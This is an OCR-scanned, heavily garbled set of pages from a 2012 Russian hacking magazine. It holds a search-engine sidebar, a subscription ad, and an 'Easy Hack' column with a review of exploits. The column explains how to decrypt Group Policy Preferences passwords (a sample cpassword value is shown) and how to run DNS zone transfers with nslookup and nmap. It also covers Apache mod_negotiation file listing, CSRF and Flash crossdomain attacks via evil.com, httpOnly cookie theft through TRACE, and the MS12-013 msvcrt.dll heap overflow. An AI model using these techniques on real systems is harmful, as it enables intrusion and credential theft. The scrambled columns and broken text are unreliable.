ДРУГИЕ МАЛОИЗВЕСТНЫЕ ПОИСКОВИКИ

I Ыekko ll М

ix---=-qш_ .ck_

1

HA.R

M!IТeмeпyiiПiolliiЯПOMCIOIIOIICМC T eMI

1 1L _ _ _

Nigma ( нигма.рФ )

Blekko ( Ьiekko.com )

Уа Су lyacy.net )

lxquick (ixquick.com )

За пущен в конце 20 10 года. Идея

Поисковик Уа С у работает по прин­

Поисковая система компании

Ру нету тоже ес ть чем похвастать­

Blekko проста-невозможно

цип у Р2Р. Х ран е ние поискового

lxquick тоже ставит во главу угла

с я . Nigm a -

соз дать поисковик, который под­

индекса и обработка за просо в

анонимность и безопасность

лектуальная метапоисковая

ро сс ийская интел­

х одил бы всем, поэтому у каждого

осуществляются не на цен­

пользователей . l xquick, как

система, первая кластеризующая

должна быть возможность влиять

тральном сервере, а в распре­

и

поисковая система в Рунете .

на результаты поиска. Исполь­

деленной сети пиров Fгeewoгld .

формацию ни о за проса х пользо ­

зует слэштеги для сужения

Присоединиться к сети может

вателей, ни о ни х самих. Кстати,

му индексу, так и по индексам

области поиска . Например , при

любой желающий, достаточно

по утверждениям специалистов

помощи слэштега <</ пews >> можно

лишь установить ПО. Конечно ,

ком пании lxquick, их поисковы е

Google, Ya hoo, B i пg , << Яндекс >> , RamЫer, AltaVista , Aport . Проект

выполнить быстрый поиск по

здесь царит полная анонимность.

системы п е рвыми на рынк е нача­

создан при поддержке факуль­

новостным сайтам. Не так давно

Распределенная сеть пиров и от­

ли предлагать SSL-шифрование

тетов ВМиК и психологии МГУ,

крытый код гарантируют У аСу

(начиная с 2009 года) .

а также Ст з ндфордского универ­

<< Яндекс >> инвестировал в

15 000 000 долларов .

Blekko

DuckDuckGo, не сохраняет ин­

устойчивость и защищают его от

Осуществляет поиск как по свое­

ситета.

попыток цензуры .

ХАКЕР

0~3

04 / 159/ 2012

www.epidemz.net

ВЗЛОМ/ЕАSУНАСК

Ал ексе й «Gr ee nDog >> Тюрин , Digital Security [twitter.com/antyurinl

ВЫТАЩИТЬ ИЗ СИСТЕМЫ ПАРОЛЬ ОТ ЛОКАЛЬНОЙ УЧЕТКИ РЕШЕНИЕ

AO'esse ...) \ \dc2008 .1~b\SYSVOL \dc2008, j.,b\Pollcies\{3 162FЗ40-Q 160· 11 D2·9'1Sf·OOCO<!FB9S4F9} \MACHINE\Prefer·ences\Groups

Как же давно я не писал о такой прекрасной виндавай фиче,

Oossiers

как групповые политики' Тема их обхода стала особенно акту­

ij

альной после появления исследования секьюрити-группы

ESEC

[ goo.g l/ zDJFТ ].

Р

Для начала давай уточним задачу. Итак, на гипотетической

2008 Microsoft

TaiHe 1 Ко

т

е

"''

Document XML

26/

{6AC\78бC-0 1 6F· IID

LfJ

8

от локальной учетной записи, которая была создана при помощи Seгver

Nom

SVSVOI. dc200B.I<!!b PoHcies

рабочей ,станции нам нужно вы т ащить и расшифровать параль групповых политик. Если я не ошибаюсь, то начиная с

х

_:_J ....:. Groups. xml

dc2006.1ab !+ ~ NETLOGOO

СЕ

{ЗIB2F340·016D·llDJ GroupPolм:y МACHINE

-

Windows

Мlcrosoft

ввела специальное расширение для ло­

.:1

Preferences

кальных политик под названием Group Policy Preferences [GPP]. В

Windows Vista

и

Windows 7 локальные

политики поддержива ­

ются нативно, а вот для ХР потребуется поставить специальное

Файл с групповой nолити к ой для соз д ания п о л ь зователя

обновление. Так вот, одной из добавленных функций была воз­ можность создавать локальные учетные записи для группы до ­

•

Group Роtк:у r1anagement Editor

•

•

менных хостов. Функция, безусловно, полезная, и, как уверяют люди из

ESEC,

часто используемая администраторами. Вот такие

учетки мы и научимся доставать.

Теперь давай посмотрим, где же эти учетки создаются. Д ля

этого мы должны найти на контроллере домена раздел

<<Group Policy Management>> [gpmc.msc]. В нем создаем новую по­ литику, а затем в <<Local Users and Groups>> ве т ки <<Computer Configuration>>- нового пользователя. В процессе создания мы указываем параль и задаем другие стандартные настройки

В

PreШ~s

Action

\~lindo<o\'S~ttln9s

8 @] Control P~nel Sc:t"tn9s ';~,! O.ta Sou'cos ~DeVICeS

Gf Fo&derOptions

Тhereare

no

j8t11t - НF

~ Local Users and Groups

Loca!Group

аккаунта. После этого при обновлении политик на доменных хостах наш пользователь будет успешно создан.

Создание пользователя при помощи г р упповы х nолитик

ХАКЕР

www.epidemz.net

03 /158/2012

EASY НА СК

Дальш е ребята и з

ESEC

п осмотрели, как все nроисходит изну­

subAuthority= " " userName="MylocalUser" /> </ User> </Groups >

три, и как данные о груnnовых политиках передаются с контрол­

лера на хосты. Итог оказался вполне предсказуемым. При обновлении политик дом енный хает залезал на шару

SYSVO L-д o м e н a и скачивал ХМL-файл с политикой. В нем как раз Здесь необходимо уточ нит ь еще несколько моментов. Во­

и н аходил и сь имя пользователя и па роль. В общем, все стандар­

первых, данный файл доступен всем доменным пользователям,

тно . Прим ер тако г о файла:

даже непривилегированным. В о -вт орых, параль расшифровать

очень просто, ведь хотя и и спользуется

c?xml version= "1.8" encoding= "utf-8" ?> cGroup s clsid= "{3125E937-EB16-4b4c-9934-544FC6D24D26} " >

AES 256,

но вот ключ

nрошит в са м ой ОС , то есть известен априори. На нашем диске ты сможешь найти питонавекий скрипт для расшифровки таких

па ролей.

<User clsid= "{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name= "MyLocalUser" image="8" changed= "2811-12 - 26 18:21 : 37"

За остальны ми подробностями советую обратиться к ориги­

нально м у исследованию

ESEC.

Хотя оно и не является исследова­

нием в своем пер ваначальнам смысле !это скорее доведение до хакере к их масс официаль н о описанной фичи), Microsoft в описании

uid= " {A5EЗF388-299C-41D2-B937-DD5Eб38696FF}" >

GP <Properti es action= "C" fullName =" " description= ""

четко nредупреждает, что данные в

GPP

передаются в незащи­

щенном в ид е.

И что использовать функционал требуется с большой осто­

cpassword = "j1Uyj3VxBTY9LtLZil2uAuZkFQA / 4latт76ZwgdHdhw"

рожностью, особенно при создании привилегированных учеток

changelogon= "8" noChange= "8" neverExpires ="8" acctDisaЫed= "8"

в ОС.

ПОЛУЧИТЬ СПИСОК ХОСТОВ ИЛИ

DNS ZONE TRANSFER

Р ЕШЕНИЕ При провед ении любогоИБ-исследования в первую очередь нам требуе т ся ответи ть на во пр ос «а кого же атаковать>>? Это важно, так как практически любая атака чаще всего проводится nротив какой-т о ор г ан и зации, у которой может быт ь очень много ресурсов. А нам необходимо определить с реди них самое с лабо е зве н о или наиболее критичный ресурс. DN S-имя хос та может д а т ь прилич­ ный профит в этом с м ысле, так как зачастую оно отражает свой функциона л ьный с мы сл. Н ап рим ер, в корпоративных сетях вполне могут при сутство вать такие имена как

«b uhg al>>

или

«bank>>,

до ко­

тор ых тебе, конечно же, захо чет ся д обраться. Как при мер, для веба

можно в зять поиск <<с крытых>> доменов вроде

admin.example.com .

Одним из простейших методов опре д еления имен хостов

является об р ат ный DNS- зan p oc lгeveгsel, когда мы запрашиваем у DNS- cepвe pa именахостов на основании их IР -а дре сов. Однако для карпаративак этот метод ш умноват, так как необходимо за п ра­ шивать имена для всех хос тов по очере ди , а для веба он не совсем оправдан, -д омены могут нах о дить с я не на смежных IР-адресах. Н о если нам п овезет, и DN S - cepвep не совсем корректно настро­

ен, т о мы сможем получить всю необходимую информацию разом. Д а-да, я говорю про

DN S Zone

докумен т ированная функция

Tг ansfeг. Для т ех, кто не в курсе, эта

DNS

nр е дна значена для того, ч т обы

д е л иться св оими заnисями о зон е. П ри корректной настройк е

Zone transfer для

одного из корневых серверов домена . агра

Zone

Тг апsfег должен быть разрешен с первичного DN S - cepвepa т олько

дить

на вторичный , но об этом часто забывают.

все свои заnис и. Жаль, конечно, что в этом сп и ске отсутствуют

zon e tгa nsfeг.

Е сли точ н ее, то

65

из

312 TLD

n озволяют получить

порту DNS -cepвepa по nротоколу ТСР и создать AXFR-зanpoc.

.com 250 заарх и ­ вированных мегабайт можно получить по ссылке goo.gl /uVS1X . Но

Практиче ски это можно вы п олнить, используя только функционал

давай п опробуем собрать такой списо к сами:

ст андартной виндавай команды

1. 2. 3.

Используем стандартную команду

4.

Д елаем за прос на доменаграи получаем обслуживающие е го

Итак , чтобы получить зо н у, нам требуется подключи ть ся к

буд ет исnользование

nslookup,

53

но nрактичней вс его

Nmap.

nmap --s cript dn s-zo ne-tran sfer. nse \ - -scr ipt-args dn s-zone-t ra nsf er.domain= <domain >

и . гu, н о все равно nриятно. П олуче нны й им сnисок на

nslookup.

Выбира ем DNS- cep вep от Гугл а: sегvе г 8.8.8.8. Выставляем тип искомых записей :

Set type=NS.

DNS-c epвep ы: агра.

5. Н о все это классика. П риведу в пример небольшее исследова­

ни е, проведенн ое неб ез ы звест ным экспертом НО Мооге . Он nро ­

ска нир овал ос н овные D N S-cepвepы о т их TLD ltop-level-domain: .net, .огg , .ххх и так далее) и вывел, что многие из них разрешают право-

Подключаемсяк одному из DNS-cepвepoв в списке: sегvег b.гoot­ se г veгs.net.

6. Трансф е рим зону для у казанного домена: ls -d агра. Конечно, агра-это так, для забавы, много интересной инфор­ мации мы не получим. Н о общая идея, думаю, nонятна.

ХАКЕР ОЗ /158/2012

www.epidemz.net

ВЗЛОМ 1EASY НАСК

ПРОСМОТРЕТЬ ЛИСТИНГ ФАЙЛОВ В АРАСНЕ

d•Ы!r.:J -лк:r

РЕШЕНИЕ Для начала давай представим себе ситуацию, что мы исследуем

foo.htm.eп и

какой-то ёайт. На этом сайте крутится

который совпадает с пришедшим от клиента заголовком

Apache.

Первым делом же­

лательно понять, какой же движок используется нашим ресурсом. Если точно определить

CMS,

то, используя общеизвестные

foo.htm.de, то по за просу /foo.htm будет отдан тот, <<Accept-

Language>>. Но еще более интересным является поведение модуля с ис­

уяз вимости, произвести взлом будет очень просто. Но если это

пользованием параметра

что-тонестандартное и без доступных исходников, то могут воз­

тестовом запросе

никнуть проблемы. Хотя многое зависит от самого приложения.

тории по маске

В любом случае я не думаю , что нужно сразу же погружаться

вариант>>.

в дебри взлома, стоит еще немного пособирать информацию. Что

Mu ltiViews. Е сли он включен, то при <<foo>> Apache проводит поиск в данной дирек­ <<foo*>>, а потом отдает пользователю <<наилучший

Включение

Mu ltiViews производится за счет записи строки MutiV iews в секции виртуальных хостов или конкретных

мь1 ищем? Любые полезные нам данные. Например, исходник и,

Optioпs

файлы бэкапов, конфиги . Как искать?

директорий. Хорошо, но что же все это нам дает? Тебе ответит И Б­

Первым делом желательно и обязательно проверить возмож­

исследователь Стефа но Ди Паола (Stefaпo Di Paola, goo.gl/ly8HK ]:

ность листинга директорий на сервере, и, если она присутствует,

частичный листинг файлов. Как? Все очень просто. В

мь1 сразу поймем, что можем получить. Например , на одном из

Стефан о помучал данный функционал и выявил, что при уста­

2007

году

сайтов, с которыми я когда - то имел дело, как раз и присутствовал

новке некорректного заголовка

такой листинг, а в самом приложении, как оказалось, находилось

последний с помощью логики mod_пegatiatioп вернет нам список

всего пара рhр-скриптов, которые просто п о дгр ужали осталь -

абсолютно всех файлов с запрашиваемым именем, так как не

ной функционал из iпс-файлов. Так как файлы типа iпс

сможет выбрать <<лучший вариант>>. Смотри, если мь1 запраши­

Apache

не считает какими-то уж особенными и позволяет их абсол ютно

ваем файл

спокойно скачиват ь , то я очень быстро и легко по лучил почти

вернется << наилучшиЙ >> вариант:

foo

<< Accept >>

при запросе к серверу

без расширения, но с заголовком

<<Accept>>,

то нам

все исходник и сайта. Но так везет не всегда . А что делать, если листинга нет? Классика пент еста - это брутфорс по слова рю. Не­

Запрос

когда я писал об этом и упоминал ту л зу DiгBusteг. Но брут форс­

GET /foo Н ТТ Р/ 1.1 Accept: */*

штука грубая , хотя и вполне рабочая . Но давай ближе к теме . Всем известный веб-сервер

Apache

со держит интересный модуль под названием mod_пegatiatioп.

Ответ

Данное ра с ширение чаще всего включено по дефолту. Если

Н ТТ Р/ 1 . 1 21313 ОК Server: Apache/2 . 13 . 55 Content- Location : foo.php Vary: negotiate,accept TCN: choice

говорить по-простому, т о отвечает оно за <<у мную отдачу контен­

та». То есть, если пользователь запрашивает какой-то ресурс

!страницу], то ему будет отдаваться страница, которая подходит больше всего . Н апример, если на сервере хранится пара файлов

Частичный листинг файлов . Бэкаn найден- качаем

ХАКЕР

046

www.epidemz.net

04/159/2012

EASY НАСК

А если мы запрашиваем то же самое, но снекорректным за­

когда файлы бэкапов хранятся рядом, случаются очень часто,­

головком <<Ассер!», то нам вернет ся практически полноценный

многие программы автоматом создают их при редактировании

листинг:

основных файлов. Важным ограничением способа является то , что в вывод веб-сервера попадают только те файлы, чье рас­

За прос

ширение присутствует в конфиге апача [AddType] . То ест ь файл

GE T /foo НТ ТР/ 1 . 1 Acce pt: ххх/ЫаЫа

с расширением .php- в листинг, к сожалению, не попадет. Думаю, з десь важно подчеркнуть, что описанное выше по­ ведение Apache- нормально. То есть разработчики не собираются

От ве т

менять его. И как уже было сказано выше, это свойственно всем

НТТР/1. 1

основ ным веткам Apache. Хотя данная фича в любом случае не

406 Not AcceptaЬle Server: Apache/2.0 . 55 Alternat es : { "foo .bak" 1 { t ype appl i cation/x-trash} { l ength 3}}, {"foo.php" 1 {type appl ication/x-httpd - php} {length 3}}

избавляет нас от необходимости перебора, но мы вполне можем

воспользоваться уже имеющимися данными [именами страниц] и не перебирать вслепую.

В Metasploit присутствует соответствующий модуль [auxiliaгy/ scaппeг/http/mod_пegotiatioп_bгute], проводящий брутфорс с уче­ том этой фичи, да и сканер от Acuпetix имеет аналогичный функ­

Vary: negoti ate,accept TCN: l ist

ционал. В качестве простейшего примера- чекер mod_negotiation с использованием пmар:

Что это может дать? Конечно, все сильно зависит от ситуации, но в основном это попытка добраться до бэкапов. Кстати , ситуа ции,

пmар

--script=http-apache-negotiation

-р80

-sV

ВЫПОЛНИТЬ ДЕЙСТВИЯ.,ОТ ИМЕНИ ПОЛЬЗОВАТЕЛЯ В КАКОИ-ЛИБО

РЕШЕНИЕ

CMS дефопту на всех компьютерах [привет яблочникам

Для начала давай расширим задачу. Есть пользователь, залоги­

:1. А

во-вторых,

предоставляет много возможностей по взаимодействию с сетью.

нившийся в какую-нибудь веб-систему [например в админку]. Есть

В самом простом виде атака с использованием flash будет иметь

хакеры, которые хотят получить привилегированный доступ в эту

следующий вид. Есть evil .com- хает атакующего со специальной

сис тему. Дл я приличия добавим возможность подсунуть этому

флэш кой, и есть victim.com с нужными нам данными. Когда юзер

пользователю произвольную ссылку или проснифать его незашиф­

зайдет к нам на evil.com, флэш автоматически запустится и вы­

рованный трафик [хотя сама админка будет находиться за https'oмl.

полнит загрузку страницы с victim.com, причем используя родные

Самый простой и действенный способ- это, наверное,

CSRF:

кукисы пользователя! Д алее все стандартно,- из страницы доста­ ем токе н , подставляем его в запрос и выполняем.

Все круто? Как бы ни так. Здесь нам мешают same oгigiп po licies . Ведь evil.com- один домен, victim.com- другой, а следова­

https://victim.com/admin . php?adduser= 1&user=hacker& password=hacker

тельно взаимодействие по флэшу запрещено. Однако существует Если мы заставим браузер перейти по этой ссылке, то в системе

и вполне легальный способ, разрешающий такое <<общение>>,- это

будет создан новый пользователь. Но это возможно только в том

файл

случае, если веб-приложение уязвимо к таким атакам . К счастью,

шу. Он должен быть расположен в самом корне сервера victim.com.

crossdomain.xml. В нем указывае тся, что можно делать флэ­

во все большее количество ПО внедряются всяческие механизмы

Таким образом, когда флэш-ролик пытается прочитать страничку

защиты от CSRF. Самый распространенный- токены. К каждому за­

с victim.com, флэш сначала читает victim.com/cгoss domaiп.xml и на

просу на странице добавляется токен, который действителен толь­

основе него уже делает вывод, разрешено ли подключаться к этой

ко для одного запроса. Таким образом мы получаем ссылку вида

странице. В настоящий момент флэш поддерживает целый набор о граничений. Я не буду описывать все, коснусь лишь основных,

общая спецификация от adobe находится по адресу goo.gi/A02R1.

https : //v i ct i m.com/a dmin . php ?a dd user=1&u ser= hacker& password= hacker&toke n=l on g_ran dom_bu kva _ ci fra

Вот при мер :

Да, CSR F уже не про катит. Что дальше? Конечно же, XSS. С по­ мощью этого вида атак мы сможем загрузить нужную страницу,

вынуть токе н и создать ядовитый запрос [плюс много еще всякого ст рашного ] . Н о у XSS есть пара проблемных моментов. Хотя они и являются самым распространенным видом багов на сегодняшний

день, но в основном это касается гeflected XSS [то есть когда код

попадает из запроса], ведь stoгed XSS [когда мы можем добавить контент в страницу] бывает не часто. Но во многие браузеры натив­ но и л и с помощью плагинов встроена хорошая защита от гeflected

c?xm l version= "1.0" ?> c!DOC TYPE cross-domain-pol i cy SYSTEM "http://www.adobe . com/xml / dtds/cross-domain-policy.dtd" > ccross-domain-policy> csite-control permitted-cross-domain-policies= "master-only" /> callow-access-from domain= "* .victim.com" sec ure= "false" /> callow-access- f rom domain= "www.microsoft.com" /> c/cross-domain-pol i cy>

XSS. Классический пример -IE. И здесь без извращений и/или Поясню некоторые моменты. Главный пункт здесь, конечно

со циальной инженерии защиту не обойти. Давай посмотрим, можем ли мы сделать что-то еще? Ответ­

flash. У него есть несколько плюсов. Во-первых, сейчас он стоит по

Х АКЕР

же, это allow-access-fгom, указываю щий на то, с каких серверов

доступ разрешен. Здесь э то любые поддомены victim.com и один-

04/159/ 2012

047

www.epidemz.net

ВЗЛОМ 1EASY НАСК

Microsoft. Master-only указывает на то, что исnользуется только crossdomain.xml, лежащий в корне, хотя есть и другие варианты,

«si te-control>> находится не в положении «master-only»l, а до­

но об этом дальше. Вот теперь у нас появляется возможность

ступ флэш - ролику будет разрешен только в данную директорию

для маневров. Наnример, с помощью

DNS

или

можем представиться одним иэ поддоменов

NBNS-spoofing victim.com и по­

мы

лучить, таким образом, возможность использовать флэш на

быть разрешение от корневого файла [значение директивы

или ее поддиректории. Таким образом, у нас есть небольшая возможность либо найти альтернативные файлы на

полную. Кроме того, мы можем искать уязвимости уже во всех

этих доменах и через них атаковать пользователей

victim.com. Далее нам интересен атрибут secure [по-дефолту «true>>l,

victim.com,

либо залить xml'кy. Кстати, наиболее простым и частым баrом здесь является неправильное использование директивы

<allow-access-from

«>. В данном случае мы можем обращаться к жертве

domain=>>*

указывающий на то, нужно ли флэш у обращаться к данному хо­

с любого из хостов, а также производить nочти любые действия

сту только с https. То есть в данном случае [falsel мы можем про­

от чужого имени. Много ли таких сайтов? Прилично. П одроб­

вести на

ности смотри в научной работе про анализ

victim.com

атаку

Man-in-the-middle,

а затем внедрить

нашу флэш к у в НТТР-ответ от сервера. П олучается, флзшке

Alexa

Тор

50 000

от

наших коллег из Сан-Диего [goo.gl/riCLll . Еще хотелось бы вспомнить про такую альтернативу флзшу

буде т разрешено «обща ться >> и с https'oм этого домена. Также хочу добавить еще несколько важных замечаний.

как

Silverlight

от

Mi croso ft.

У них nочти аналогичная система

Во-первых, когда флэш-ролик отправляет куда-либо запрос,

кроссдоменного взаимодействия, только с несколькими отли­

то в качестве его родного домена определяется то место, где

чиями. Файл политик называется

флзшу можно указать альтернативный файл политик, назы ­

clientaccesspolicy.xml, однако Silverlight его не находит, то ищется crossdomain.xml. Сам же clientaccesspolicy.xml не поддерживает исnользование символа множества 1«*>>1 для оnисания доменов и не различает http- и https-npoтoкoлы. Так что через него также можно вы­

вающийся по-другому и лежащий на

полнять действия от имени пользователя, если только повезет

он хостится фактически, а не то, где он вставлен в страницу. Во-вторых, при отсутствии

crossdomain.xml

флэшунасамом

деле не « запрещается все», как считают многие. В таком случае

файлы

crossdomain.xm l

victim.com.

В-тр етьих,

могут лежать и в паnках . Но должно

если

с хml'ками.

ОБОЙТИ ФЛАГ COOKIES HTTPONLY РЕШЕНИЕ XSS- это одна из самых распространенных ныне уязвимастей

SESSION1D::tmAhnpOnJyCoolde

веб-приложений. К тому же она очень опасна, потому что по сути мы можем выполнять почти любые действия от имени пользова­ теля. Но если все же вернуться к классике, то итогом

XSS

ок

долж-

на быть украденная сессия пользователя. Так как чаще всего авторизация юз ера происходит именно по кукисам, то целью атаки

с использованием

XSS

является их угон. Чаще всего это можно

сделать с помощью данных из переменной

Но все

document.cookie.

несколько затруднилось, когда появился такой чудо-браузер, как Разработчики внедрили в него специальный флаг

IE6.

httpDnly.

НТТР/!.!

javascript.

Ага, идея хорошая.

Вот только с реализацией не так все здорово, ведь по идее флаг

t eb : 01:

::о: ~9:

JS GKT

Арасье·::. : .н

1FreeBSD1 nood ss 1 ·:.::.11 OpenSSL/0.9.7e-p l Con't:'!lnt-Lenqt h : н:е

Connect1on: clo:~e Content-Type: text,'htnal: Т"

Основная его задача заключается в том, чтобы указать браузеру, что данную куку нельзя доставать из

P..equ~st

100 8fld

Dllt!': T!IU, 09 S~rver:

.!.

TXL

'IBL:

Р И Р/.5.::.1:

·ot t.h

Suhcннn- Plltch nюd

t cq1d':.з.s

-

cho~~rset•iso-8859-1

"·

Reqцest </hJ>

<h!>Blld

<P> Yo11r brovser se11t 11. re\(\\e s t. tiiAt. t.his se rv er co1tl.d 11ot tшderstмld S i %e ot "' reqt 1est lteAder f t e..l.d exceeds server ~inoit .<t' '>

.<bt

1>

должны выставлять сами разработчики ПО , которые до сих пор

этим nренебрегают. Теnерь давай nредnоложим, что его обойти? Бородатый метод-

<<httpOnly>> установлен. Как cross-site tracing. Придуман он

аж в с

2003 году и основан на том, что многие веб-серверы наряду GET- и РОSТ-методами поддерживают еще и ТRАСЕ-метод. Дан­

ный метод крайне пр ост: веб-сервер возвращает полностью весь запрос, который был отправлен клиентом. То есть получается так: мы должны внедрить через

XSS

такой код, который должен будет

отправить любой запрос на тот же сервер с методом

TRACE,

а затем

прочитать пришедший ответ. В этом ответе кроме искомых кукисов

могут содержаться и другие интересные данные

[basic или ntlm-

Apache 2.2. Большой D:ч•rj

· .. .:- "!

TRACE /

>nc,~t НТТР/1.1

заголовок лриводит к ошибке с раскрытием кукисов

l ..

u 80

~: ~~ ~ ~ : Sc;; 1orr 1 D~u4enZ<o:; 4 i4crш" y,oCook,o 1

НТТР/ 1.1

Doil.te:

200 ОМ f1111. f·J9 Feh 2012 7.U:!.o9:42 GMI

s.,....,.,,.: Ap.•clte/2.2.14 L/('1 . 9.?.-·pt y,. ,..,~fer-l:llcodin!l:

Contcnt-Typc:

'"

<F•·eoВSD>

РНР/!..2.12

11itl1

SLoloo:;i~t-P.otclo oшtl_ic!lid/2.3.!>

l'lotl_~~l/2.2.14

Оре

~;)щrLI<ed

nc~~.~ge/lottp

IRACF / IIITP/t .1 Ho~t:

1

. .

_ _ .<

Cook ie : Se ~ ~ ion 1 D ·o 4enz..,~ 4 i4enn,,y.oCook,,

аутентификацияl. Важно упомянуть, что многие веб-серверы до сих пор поддерживают данный метод.

Кроме всего этого существуют также и несколько зависимых

ТRАСЕ- з алрос . Веб -с ервер во з вращает все , что ему послали. Дажекуки

от сервера возможностей. Новым и крайне забавным примерам является

клиентом запрос. Чтобы создать такой запрос, требуется всего

сии

Apache. Если точнее, то вся его ветка 2.2 вплоть до вер­ 2.2.22. Логика здесь такая же, как и в случае с TRACE, только

лишь отправить легитимный пакет с очень большим заголовком.

кукивозвращаются в ответе об ошибке веб-сервера. Норман

В РоС' е автора используется простейшая реализация этого ба га:

Хипперт [Norman Hippert, goo.gl/ndGpvl обнаружил, что при ошибке

с помощью

400 [НТТР 400 Bad Requestl возвращается весь отправленный

кукисов и отправляет запрос на сервер.

javascript

он выставляет большое количество длинных

ХАКЕР

048

www.epidemz.net

04/159/2012

(game}land ЖЕI\ЕЗОi 10 дюймов и ЗG за 400 баксов

~~

ПОДПИШИСЬ! shop.glc.ru Редакционная подписка без посредников это

гарантия

получения

важного

для

-

Вас

журнала и экономия до 40 о/о от розничной цены в киоске

6 номеров - 111 О руб. 13 номеров - 1999 руб.

6 н омеро в - 111 О руб. 13 н оме ров - 1999 руб.

8-800-200-3-999 +7 (495) 663-82-77 (бесплатно)

ФОТО

6 13

н оме ров номеров

- 564 руб. - 1105 руб.

6 н омеро в - 111 О руб. 13 но меро в - 1999 руб.

6 13

н омеровномеров

-

810 руб. 1499 руб.

6 номеров - 111 О руб. 13 номеров - 1999 руб.

XYIIИГIJH

6 13

номеров номеров

-

630 руб. 1140 руб.

6 13

н омеров ном еров

-

895 руб . 1699 руб .

6 н о меров - 1194 руб . 13 н о меров- 2149 руб .

6 13

номеров

6 13

номеров-

н омеро в

-

894 руб. 1699 руб.

lффi!. !JU.ЦЩ:IЦ!iЦЩШ -··.

шr;~а.ш.rr,м ~ КРАСНАЯ

YrP03A ASTotLUA

ТАИНОЕ ОРУЖИЕ

6 13

н омеров номеров

- 690 руб . - 1249 руб .

6 13

номеров номеров

-

775 руб . 1399 руб.

6 13

номеров номеров

-

www.epidemz.net

950 руб . 1699 руб.

номеров

-

810 руб . 1499 руб.

Павел Александрович [ivinside.Ыogspot.com[

ВЗЛОМ/ОБЗОРЭКСПЛОИТОВ

Дмитри й Михайлович

[115612, дер. Красная звездочка, д . 1[

эксплоитов И вновь мы с тобой встречаем с я , чтобы разобраться во внутрен не м устройс тв е последних

интереснейших образцов из области эксплоитостроения. Крепче хватайся за жу рнал и внемли же слогу бинарному ...

ХАКЕР

DSD

www.epidemz.net

04/159/2012

Обзор экс п ло ит ов

MS12-013: Уязвимость в библиотеке времени

1

выполнения С (msvcгt.dll)

. text:6F FBEA20 pus h еЬх ; mov е Ьх , [esi] i n the entry .text:6FFBEA21 call - calloc_crt

кой msvcгt.dll размера буфера в памяти существует уязвимость,

. text : 6FFBEA26 . text: 6FFBEA27 .text:6FFBEA28 .text:6FFBEA2A .text:6FFBEA2C . text:6FFBEA2E .text:6FFBEA31 . text:6FFBEA34 .text:6FFBEA37

которая делает возможным удаленное выполнение кода и по­

. text:бFFBEAЗD

зволяет копировать данные в память, не выделенную должным

.text:бFFBEAЗF

CVSSV2

9.3

11111 11 1111 11 11 111 IAV:N/AC:M/AU:N/C:C/1:(/A:C]

[]Il]i Msvcгt.dll- многопоточная библиотека динамической ком­

поновки IDLL] времени выполнения С, которая используется компонентами системного уровня. В способе расчета библиоте ­

рор

есх

рор

есх

Ыосk

mov [edi], еах test еах, еах jz short loc_6FFBEA1A push [ebp+pulResult] ; size_t mov еах, [ebp+arg_8] push [ebp+arg_4] ; void * mov dword ptr [еах], 1 push dword ptr [edi] ; void * call _memcpy

образом. Эта уязвимость делает возможным удаленное выпол­ нение кода при запуске пользователем специально созданных

файлов мультимедиа. Е с ли пользователь вошел в систему с права ми администратора, то злоумышленник, которому уда­

лось воспользоваться уязвимостью, может установить полный контроль над системой, после чего он сможет устанавливать программы, просматривать, изменять и уничтожать данные или

создавать новые учетные записиснеограниченными права ми.

Риск для пользователей, учетные записи которых имеют огра­

.text:6FFBEA44 mov еах, [esi] .text:6FFBEA46 push esi ; pulResult .text:6FFBEA47 add еах, еах ; ! ! ! ! .text:6FFBEA49 push 2 ; int . text:6FFBEA4B push еах ; int . text:6FFBEA4C mov [e si], еах . text : 6FFBEA4E call ?SizeTMult@@YAJ I I PAI@Z ; SizeTMult(uint, uint,uint *)

ниченные права, меньше, чем для пользователей, работающих с .text:бFFBEASЗ add esp, 18h .text:6FFBEA56 test еах, еах .text:6FFBEAS8 jge short loc_6FFBEA78

правами администратора.

l j:JЦ!•'ii Патч от MS затрагивает функцию __ check_float _ stгiпgl]. В связи с тем, что библиотека времени выполнения С поставляется в виде исходниковсовместно с MS Visual Studio, посмотреть на

вышеупомянутую функцию можно в VC/CRT/sг c/iпput.c . Логика работы у функции __ check_float_stгiпgll следующая. С самого начала у библиотеки времени выполнения имеется

Обрати внимание на аргументы функций __ calloc_cгtll и SizeTMultll . В момент вызова _ _ ca l loc_cгtll мы имеем сле дующий набор аргументо в: __ calloc _ cгtiSize, 2]. Однако в момент, когда для записи переменной размера вызывается функция SizeTMult, ее набор аргументов выглядит так:

буфе р статического размера I_TCHAR floatstring[_CVTBUFSIZE

+ 1] ; 1. Как только требуется буфер большего размера, проис­

SizeTMult(Size*2, 2, &pResult)

хо дит перераспределение памяти. Порядок подобного пере­ распре деления таков: выделяется удвоенный размер буфера и

П осему, несмотря на реальный размер выделенной памяти

удваивается значение переменной, содержащей этот размер.

под буфер в Size*2, в переменную размера сохра няется значение

При первой итерации увеличения используется вызов функции

Size * 2*2. В связи с этим переполнение кучи происходить будет,

callocl], далее используется гecallo ci]. Основной момент, в связи с которым имеет место быть MS12-013 , состоит в nопытке записи

но- за пределами рассматриваемой функции.

нового размера буфера.

SizeTMultll. В этот раз имеем SizeTMult(Size, 2, &pRes ult ]. В итоге MS пришлось избавиться от инструкции «add еах, еах»:

Ниже приведен дизасм-листинг старой версии msvcгt.dll:

.text:б F FB EAlE loc_6F FBEA1E : ; CODE XREF: sub_6FFBE9F3+25 ] j . text:6 FFBEA1E push 2

155 ••• 156 • lnt 157 -

158 ·

· · ·

•

_те~~ - ·

.Т >АР·

lnt•>

Ci'Wck .f tl'ltrt ts tnou"'" SP4tl ii'IИrt ont~~~ort ~harocttr tr tht gl\len

159 •

166 161 1&2 163 16<1

l

~-~heck.f!cat .s t~t,...cslzt.t.sl:t.t

Puroost

Ыос:•

J:ttuгn

-

FAlS(

Jfncttlwt'laiiiiCDtt-.ort~\,1

:f .,orf•t~~~or ynvtdedo"dthertoollocottonfolltd.

·

1&'5 ···············································································1

166 167 .. totlc lnt. •• cl\tck. fl ot~t.s tr ! no C •.Itt' . t N lo &t StrUs.ct , 16!1 ~''' t • pnf'\ oetStr Sz . !69 . TCt!RR •• Df'l o11tStr ,

~~~

i~~goa;П ~~~F}~~~~t,.rtaoJ

172 ( 173 17< 17'. 176 171

vold

•tlrч!Po l n t и ;

CPТJ.JRRНIHB_D I SRВL E_PUSH C ''fl\1 ,

